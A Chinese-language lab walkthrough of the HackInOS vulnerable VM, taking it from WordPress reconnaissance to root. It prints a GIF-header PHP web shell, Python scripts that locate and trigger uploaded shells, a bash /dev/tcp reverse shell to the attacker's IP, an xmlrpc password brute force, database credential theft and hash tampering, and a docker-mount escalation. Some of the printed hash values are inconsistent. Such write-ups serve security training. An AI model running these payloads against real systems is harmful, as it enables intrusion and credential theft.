HackInOS复现

环境搭建

HackInOS是一个非常经典的渗透测试实战靶机,主要考察 WordPress 漏洞利用、上传绕过以及提权等技巧。可以通过以下链接直接访问下载页面:

攻击复现

内网主机探测

当前靶机IP地址未知,需进行内网主机探测。使用 arp-scan 扫描同网段主机,点此查看arp-scan 工具的工作原理与实践

┌──(root㉿kali)-[~]
└─$ arp-scan --interface=eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:46:e9:3f, IPv4: 192.168.31.152
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1    04:67:61:bc:85:68       (Unknown)
192.168.31.6    e4:c7:67:b4:57:f8       (Unknown)
192.168.31.109  a8:0c:63:c9:48:96       HUAWEI TECHNOLOGIES CO.,LTD
192.168.31.129  a6:f1:fa:6d:a8:6e       (Unknown: locally administered)
192.168.31.206  00:0c:29:65:8e:dd       VMware, Inc.

发现内网中存在VMware主机:192.168.31.206

目标探测

端口扫描与服务识别

┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default" 192.168.31.206 

# 扫描结果如下
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
|   256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
|_  256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Blog – Just another WordPress site
|_http-generator: WordPress 5.0.3
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 2 disallowed entries 
|_/upload.php /uploads
MAC Address: 00:0C:29:65:8E:DD (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

发现目标主机开放端口 228000 ,WordPress 5.0.3 发布于 2019 年初,存在多个已知漏洞。robots.txt 暴露了 /upload.php/uploads。这非常可疑,因为标准的 WordPress 不会直接在根目录放 upload.php

扫描WordPress

运行 wpscan 来识别插件漏洞和枚举用户:

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.31.206:8000 -e u,vp,vt

[+] URL: http://192.168.31.206:8000/ [192.168.31.206]

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.25 (Debian)
 |  - X-Powered-By: PHP/7.2.15
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://192.168.31.206:8000/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.31.206:8000/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress readme found: http://192.168.31.206:8000/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.31.206:8000/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.31.206:8000/, Match: 'WordPress 5.0.3'

[+] handsome_container
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

没有扫描到太多有用的信息,扫描发现 XML-RPC 已开启,在 WordPress 渗透中,xmlrpc.php 通常被用来进行高效的密码爆破(比起传统的登录表单,它可以通过 system.multicall 在一次请求中尝试数百个密码)。除此之外还发现了有一个叫 handsome_container 的用户,尝试暴力破解一下:

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://192.168.31.206:8000/ \
       --password-attack xmlrpc \
       -t 50 \
       -U handsome_container \
       -P /usr/share/wordlists/rockyou.txt

--password-attack xmlrpc:强制使用 XML-RPC 批量验证模式

-t 50:开启 50 个并发线程

(大概率跑不出结果)

目录扫描

┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.31.206:8000/                                

Target: http://192.168.31.206:8000/

[04:26:59] Starting:                                                         
...
[04:27:14] 301 -    0B  - /index.php  ->  http://192.168.31.206:8000/       
[04:27:14] 301 -    0B  - /index.php/login/  ->  http://192.168.31.206:8000/login/
[04:27:15] 200 -    7KB - /license.txt                                      
[04:27:21] 200 -    3KB - /readme.html                                      
[04:27:21] 200 -   52B  - /robots.txt                                       
[04:27:22] 403 -  304B  - /server-status                                    
[04:27:22] 403 -  305B  - /server-status/
[04:27:26] 200 -  260B  - /upload.php                                       
[04:27:26] 301 -  325B  - /uploads  ->  http://192.168.31.206:8000/uploads/ 
[04:27:26] 403 -  299B  - /uploads/                                         
[04:27:28] 301 -  326B  - /wp-admin  ->  http://192.168.31.206:8000/wp-admin/
[04:27:28] 200 -    0B  - /wp-config.php                                    
[04:27:28] 400 -    1B  - /wp-admin/admin-ajax.php
[04:27:28] 302 -    0B  - /wp-admin/  ->  http://localhost:8000/wp-login.php?redirect_to=http%3A%2F%2F192.168.31.206%3A8000%2Fwp-admin%2F&reauth=1
[04:27:28] 500 -    3KB - /wp-admin/setup-config.php                        
[04:27:28] 200 -  537B  - /wp-admin/install.php                             
[04:27:28] 301 -  328B  - /wp-content  ->  http://192.168.31.206:8000/wp-content/
[04:27:28] 200 -    0B  - /wp-content/
[04:27:28] 403 -  329B  - /wp-content/plugins/akismet/akismet.php           
[04:27:28] 403 -  327B  - /wp-content/plugins/akismet/admin.php             
[04:27:28] 200 -  184B  - /wp-content/plugins/hello.php                     
[04:27:28] 301 -  329B  - /wp-includes  ->  http://192.168.31.206:8000/wp-includes/
[04:27:28] 403 -  303B  - /wp-includes/
[04:27:28] 200 -    0B  - /wp-cron.php                                      
[04:27:28] 200 -  187B  - /wp-includes/rss-functions.php
[04:27:28] 302 -    0B  - /wp-signup.php  ->  http://localhost:8000/wp-login.php?action=register
[04:27:28] 200 -    1KB - /wp-login.php                                     
[04:27:28] 405 -   42B  - /xmlrpc.php                                       

Task Completed                               

/upload.php:响应大小只有 260 字节,这通常意味着它要么是一个非常简单的 HTML 表单,要么是一个没有任何 UI 的后端处理脚本。

文件上传

结合扫描的结果,首先访问 upload.php,点击提交按钮什么也不上传,发现提示:

Warning: getimagesize(): Filename cannot be empty in /var/www/html/upload.php on line 25

hackinos-upload-php

由此可知uploads文件夹位于 /var/www/html/ 目录下,并使用 getimagesize 函数对于图片信息做了获取。

创建一个测试文件 test.txt,内容随便写。然后尝试通过 POST 请求发送:

┌──(kali㉿kali)-[~]
└─$ curl -F "file=@test.txt" http://192.168.31.206:8000/upload.php

<!DOCTYPE html>
<html>

<body>

<div align="center">
<form action="" method="post" enctype="multipart/form-data">
    <br>
    <b>Select image : </b> 
    <input type="file" name="file" id="file" style="border: solid;">
    <input type="submit" value="Submit" name="submit">
</form>
</div>

<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint -->
</body>
</html>

请求返回的内容上发现有一条注释:<!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint --> ,由此查看GitHub上的项目,分析源码可知以下几点:

    $rand_number = rand(1,100);     //生成1-100之间的随机数
    $target_dir = "uploads/";
    $target_file = $target_dir . md5(basename($_FILES["file"]["name"].$rand_number));
    //对上传的文件名添加随机数并使用md5加密处理

    /*****分割线*****/

    if($check["mime"] == "image/png" || $check["mime"] == "image/gif"){
        $uploadOk = 1;
    }else{
        $uploadOk = 0;
        echo ":)";
    } 
    //网页对MIME类型进行检测
    //校验方式是校验文件内容(实际校验的是文件开头几个标志文件类型的字节,PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A,GIF格式为GIF98)
    //利用文件头标志判断文件类型:https://blog.mythsman.com/post/5d301940976abc05b345469f/

欺骗 getimagesize() 最简单的方法是伪造一个 GIF 文件头:

┌──(kali㉿kali)-[~]
└─$ # 使用 GIF89a 绕过 getimagesize 检查
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php

点击上传可知文件被传输到 uploads/目录:

hackinos-uploads

写一个 python 脚本快速寻找上传的一句话木马:

import hashlib
import requests

url = "http://192.168.31.206:8000/uploads/"
filename = "shell.php"  # 确保这和你上传时的文件名完全一致

print("[*] Starting to brute force the MD5 filename...")

for i in range(1, 101):
    # 模拟 PHP 的 md5(basename($_FILES["file"]["name"].$rand_number))
    data = filename + str(i)
    md5_hash = hashlib.md5(data.encode()).hexdigest()

    full_url = f"{url}{md5_hash}.php"

    try:
        response = requests.get(full_url, timeout=2)
        if response.status_code == 200:
            print(f"\n[+] Found! Your shell is at: {full_url}")
            print(f"[+] Execution test (id): {full_url}?cmd=id")
            # 尝试执行一次 id 命令看看回显
            res = requests.get(f"{full_url}?cmd=id")
            print(f"[+] Result: {res.text.strip()}")
            break
    except requests.RequestException:
        pass
else:
    print("\n[-] Failed to find the shell.")

查找成功:

┌──(kali㉿kali)-[~]
└─$ python find_shell.py
[*] Starting to brute force the MD5 filename...

[+] Found! Your shell is at: http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php
[+] Execution test (id): http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php?cmd=id
[+] Result: GIF89auid=33(www-data) gid=33(www-data) groups=33(www-data)

但当你过一会刷新一下后就发现上传的一句话木马已经失效了,存活时间不超过10秒,推测作者为了防止 uploads 目录被垃圾文件撑爆,或者模拟真实环境中的 EDR/杀毒脚本,通常会挂一个 Cron Job(定时任务),每隔十几秒甚至几秒钟就清空一次上传目录。

hackinos-notfound

这里可以重新上传一个大马形成稳定后门,也可以直接反弹 Shell。

反弹 Shell

重新准备一个反弹木马:

GIF89a
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.31.152/4444 0>&1'");
?>

本地开启监听:

┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...

手动上传木马后运行 Python 脚本触发反弹:

import hashlib
import requests
from concurrent.futures import ThreadPoolExecutor

# 配置信息
TARGET_URL_DIR = "http://192.168.31.206:8000/uploads/"
UPLOADED_FILENAME = "rev.php"  # 浏览器选择的文件名

def check_and_trigger(md5_hash):
    full_url = f"{TARGET_URL_DIR}{md5_hash}.php"
    try:
        # 使用 head 请求减少流量,如果文件存在则立即用 get 触发
        resp = requests.head(full_url, timeout=1)
        if resp.status_code == 200:
            requests.get(full_url, timeout=1)
            return True
    except:
        pass
    return False

def main():
    print(f"[*] 正在为文件 '{UPLOADED_FILENAME}' 生成 1-100 的 MD5 路径...")

    # 预先生成 100 个可能的 MD5 值
    possible_hashes = []
    for i in range(1, 101):
        data = UPLOADED_FILENAME + str(i)
        md5_hash = hashlib.md5(data.encode()).hexdigest()
        possible_hashes.append(md5_hash)

    print("[*] 脚本已就绪。请在浏览器点击 'Submit' 上传,然后立即按回车键开始扫描...")

    # 使用线程池进行高速并发扫描
    with ThreadPoolExecutor(max_workers=20) as executor:
        results = list(executor.map(check_and_trigger, possible_hashes))

    if not any(results):
        print("\n[-] 未能触发木马。可能原因:文件名不符、上传失败或删档速度过快。")

if __name__ == "__main__":
    main()

反弹 Shell 成功:

hackinos-shell

用户 www-data

收集信息

反弹 Shell 成功后尝试收集目标的核心信息:

www-data@1afdd1f6b82c:/var/www/html/uploads$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@1afdd1f6b82c:/var/www/html/uploads$ uname -a 
Linux 1afdd1f6b82c 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 x86_64 GNU/Linux
www-data@1afdd1f6b82c:/var/www/html/uploads$ sudo -l
bash: sudo: command not found

从主机名 1afdd1f6b82c 可以看出这很可能是一个容器,当前用户身份为 www-datasudo 命令没找到,但这在 Docker 容器环境中非常常见。

收集 WordPress 配置信息:

www-data@1afdd1f6b82c:/var/www/html$ cat /var/www/html/wp-config.php
<?php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'wordpress');

/** MySQL database password */
define('DB_PASSWORD', 'wordpress');

/** MySQL hostname */
define('DB_HOST', 'db:3306');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

// ** 略 ** //

拿到的数据库凭据是 wordpress / wordpress,由于主机名定义为 DB_HOST: db:3306,这再次证实了你正处于一个 Docker 容器集群中(使用了 Docker Compose 链接)。

升级交互式 Shell

现在的 Shell 只是一个通过 nc 获得的简单管道(Simple Pipe),它不是真正的 交互式 TTY,这时候执行 su 等命令行会报错,需要升级 Shell:

www-data@1afdd1f6b82c:/var/www/html/uploads$ su
su: must be run from a terminal
www-data@1afdd1f6b82c:/var/www/html/uploads$ python3 -c 'import pty; pty.spawn("/bin/bash")'

按下键盘上的 Ctrl + Z,会看到 Shell 回到了你本地的物理机终端,设置原始终端模式并带回前台,在设置环境变量。现在的 Shell 功能就完整了:

www-data@1afdd1f6b82c:/var/www/html/uploads$ ^Z
zsh: suspended  nc -lvvp 4444

┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvvp 4444

www-data@1afdd1f6b82c:/var/www/html/uploads$ export TERM=xterm

数据库信息提取

获取用户ID

由于当前在容器内,可以使用 mysql 客户端连接到 db 主机:

www-data@1afdd1f6b82c:/var/www/html/uploads$ mysql -h db -u wordpress -p

MySQL [(none)]> use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)

MySQL [wordpress]> select user_login, user_pass from wp_users;
+--------------------+------------------------------------+
| user_login         | user_pass                          |
+--------------------+------------------------------------+
| Handsome_Container | $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0 |
+--------------------+------------------------------------+
1 row in set (0.01 sec)

MySQL [wordpress]> SELECT * FROM host_ssh_cred;
+-------------------+----------------------------------+
| id                | pw                               |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.01 sec)

发现了一个非标准表 host_ssh_cred,在标准的 WordPress 安装中,绝对不会有这张表。这显然是靶机作者留下的线索,发现了一个名为 hummingbirdscyber 的 id。除此之外还发现了名为 Handsome_Container 的 id。

破解密码

其中 hummingbirdscyber 的 Hash(e10adc3949ba59abbe56e057f20f883e)是 123456 的标准 MD5 值,可以去著名的在线破解网站粘贴这个字符串,它们会瞬间从数据库里检索出结果,完全不需要计算。

而 Handsome_Container 的 Hash($P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0)是典型的 phpass(WordPress 默认使用的哈希算法)。

将 Hash 内容保存到文档中: Handsome_Container:$P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0,使用 John the Ripper 破解:

┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

经过测试并没有爆破出密码来,可以直接篡改数据库:

┌──(kali㉿kali)-[~]
└─$ echo -n "password123" | md5sum
 42c811da5d5b4bc6d497ffa98491e38

MySQL [wordpress]> UPDATE wp_users SET user_pass='482c811da5d5b4bc6d497ffa98438' WHERE user_login='Handsome_Container';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

(这个其实利用不上)

用户 hummingbirdscyber

其他路暂时走不通,先登录 hummingbirdscyber,尝试提权。

┌──(kali㉿kali)-[~]
└─$ ssh hummingbirdscyber@192.168.31.206
hummingbirdscyber@192.168.31.206's password: 

hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)

收集信息

hummingbirdscyber@vulnvm:~$ sudo -l
[sudo] password for hummingbirdscyber: 
Sorry, user hummingbirdscyber may not run sudo on vulnvm.
hummingbirdscyber@vulnvm:~$ groups
hummingbirdscyber adm cdrom dip plugdev lpadmin sambashare docker

在 Linux 中,如果一个普通用户在 docker 组中,这通常等同于拥有了 Root 权限。因为 Docker 守护进程是以 Root 运行的,可以通过挂载宿主机的根目录到容器内,从而实现对整个宿主机系统的读写。

Docker 挂载逃逸

我们可以启动一个容器,并将宿主机的根目录 (/) 挂载到容器内部的某个目录(如 /mnt)。这样,在容器里对 /mnt 的任何操作,都会直接反映在宿主机上。如果提示找不到 alpine 镜像,可以尝试使用本地已有的镜像(比如之前的 WordPress 镜像):

hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it alpine chroot /mnt
Unable to find image 'alpine:latest' locally

hummingbirdscyber@vulnvm:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
wordpress           latest              69e1f4ea543a        6 years ago         420MB
mysql               5.7                 e47e309f72c8        6 years ago         372MB
ubuntu              latest              47b19964fb50        6 years ago         88.1MB

hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it wordpress chroot /mnt
# id
uid=0(root) gid=0(root) groups=0(root)
# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@3cc711f05eff:/# 

获取Flag

root@3cc711f05eff:/# cd /root
root@3cc711f05eff:~# ls
flag
root@3cc711f05eff:~# cat flag 
Congratulations!                    

                              -ys-                                                               
                                /mms.                                                            
                                  +NMd+`                                                         
                               `/so/hMMNy-                                     
                                 `+mMMMMMMd/           ./oso/-                           
                                  `/yNMMMMMMMMNo`   .`   +-                   
                                  .oyhMMMMMMMMMMN/.     o.                  
                                    `:+osysyhddhs`    `o`                  
                                     .:oyyhshMMMh.   .:                      
                                  `-//:. `:sshdh: `                         
                                             -so:.                           
                                            .yy.                              
                                          :odh                            
                                        +o--d`                 
                                      /+. .d`                           
                                    -/`  `y`                                  
                                  `:`   `/                                    
                                 `.     `              
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇